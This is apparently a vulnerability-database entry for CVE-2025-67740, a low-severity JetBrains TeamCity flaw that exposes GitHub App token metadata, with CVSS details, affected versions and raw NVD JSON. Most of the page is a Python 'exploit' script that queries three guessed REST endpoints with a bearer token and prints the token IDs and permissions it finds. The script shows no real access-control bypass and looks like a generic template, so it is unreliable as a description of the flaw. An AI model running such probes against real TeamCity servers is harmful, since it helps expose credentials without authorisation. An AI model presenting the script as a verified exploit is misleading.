Security Vulnerability Report
中文
CVE-2025-67740 CVSS 2.7 LOW

CVE-2025-67740

Published: 2025-12-11 16:16:35
Last Modified: 2025-12-15 20:07:55

Description

In JetBrains TeamCity before 2025.11 improper access control could expose GitHub App token's metadata

CVSS Details

CVSS Score
2.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:jetbrains:teamcity:*:*:*:*:*:*:*:* - VULNERABLE
JetBrains TeamCity < 2025.11 (所有Professional版本)
JetBrains TeamCity < 2025.11 (所有Enterprise版本)
JetBrains TeamCity Cloud < 2025.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-67740 PoC - JetBrains TeamCity GitHub App Token Metadata Exposure import requests import json import sys def exploit_cve_2025_67740(target_url, token, github_app_id): """ PoC for CVE-2025-67740: JetBrains TeamCity improper access control Exposes GitHub App token metadata through API endpoint """ print(f"[*] Target: {target_url}") print(f"[*] GitHub App ID: {github_app_id}") # Step 1: Authenticate with TeamCity using high-privilege account auth_headers = { 'Authorization': f'Bearer {token}', 'Content-Type': 'application/json' } # Step 2: Query GitHub App API endpoint to expose token metadata api_endpoints = [ f'/app/rest/github-apps/{github_app_id}', f'/app/rest/github-apps/{github_app_id}/tokens', f'/app/rest/github-apps/{github_app_id}/metadata' ] exposed_data = [] for endpoint in api_endpoints: url = f"{target_url}{endpoint}" try: response = requests.get(url, headers=auth_headers, timeout=10) if response.status_code == 200: data = response.json() print(f"[+] Vulnerable endpoint found: {endpoint}") print(f"[+] Exposed metadata: {json.dumps(data, indent=2)}") exposed_data.append({ 'endpoint': endpoint, 'data': data }) elif response.status_code == 403: print(f"[-] Access denied to: {endpoint}") except Exception as e: print(f"[-] Error accessing {endpoint}: {str(e)}") # Step 3: Extract sensitive token metadata if exposed_data: print("\n[!] Token metadata successfully exposed!") print("[!] Extracted sensitive information:") for item in exposed_data: if 'tokenId' in item['data']: print(f" - Token ID: {item['data'].get('tokenId')}") if 'permissions' in item['data']: print(f" - Permissions: {item['data'].get('permissions')}") if 'createdAt' in item['data']: print(f" - Created At: {item['data'].get('createdAt')}") return exposed_data if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve_2025_67740_poc.py <target_url> <auth_token> <github_app_id>") print("Example: python cve_2025_67740_poc.py http://teamcity.example.com abc123 456") sys.exit(1) exploit_cve_2025_67740(sys.argv[1], sys.argv[2], sys.argv[3])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67740", "sourceIdentifier": "[email protected]", "published": "2025-12-11T16:16:35.433", "lastModified": "2025-12-15T20:07:54.897", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In JetBrains TeamCity before 2025.11 improper access control could expose GitHub App token's metadata"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jetbrains:teamcity:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.11", "matchCriteriaId": "D80D5E22-CFD6-4363-948C-9473EFCE21A5"}]}]}], "references": [{"url": "https://www.jetbrains.com/privacy-security/issues-fixed/", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}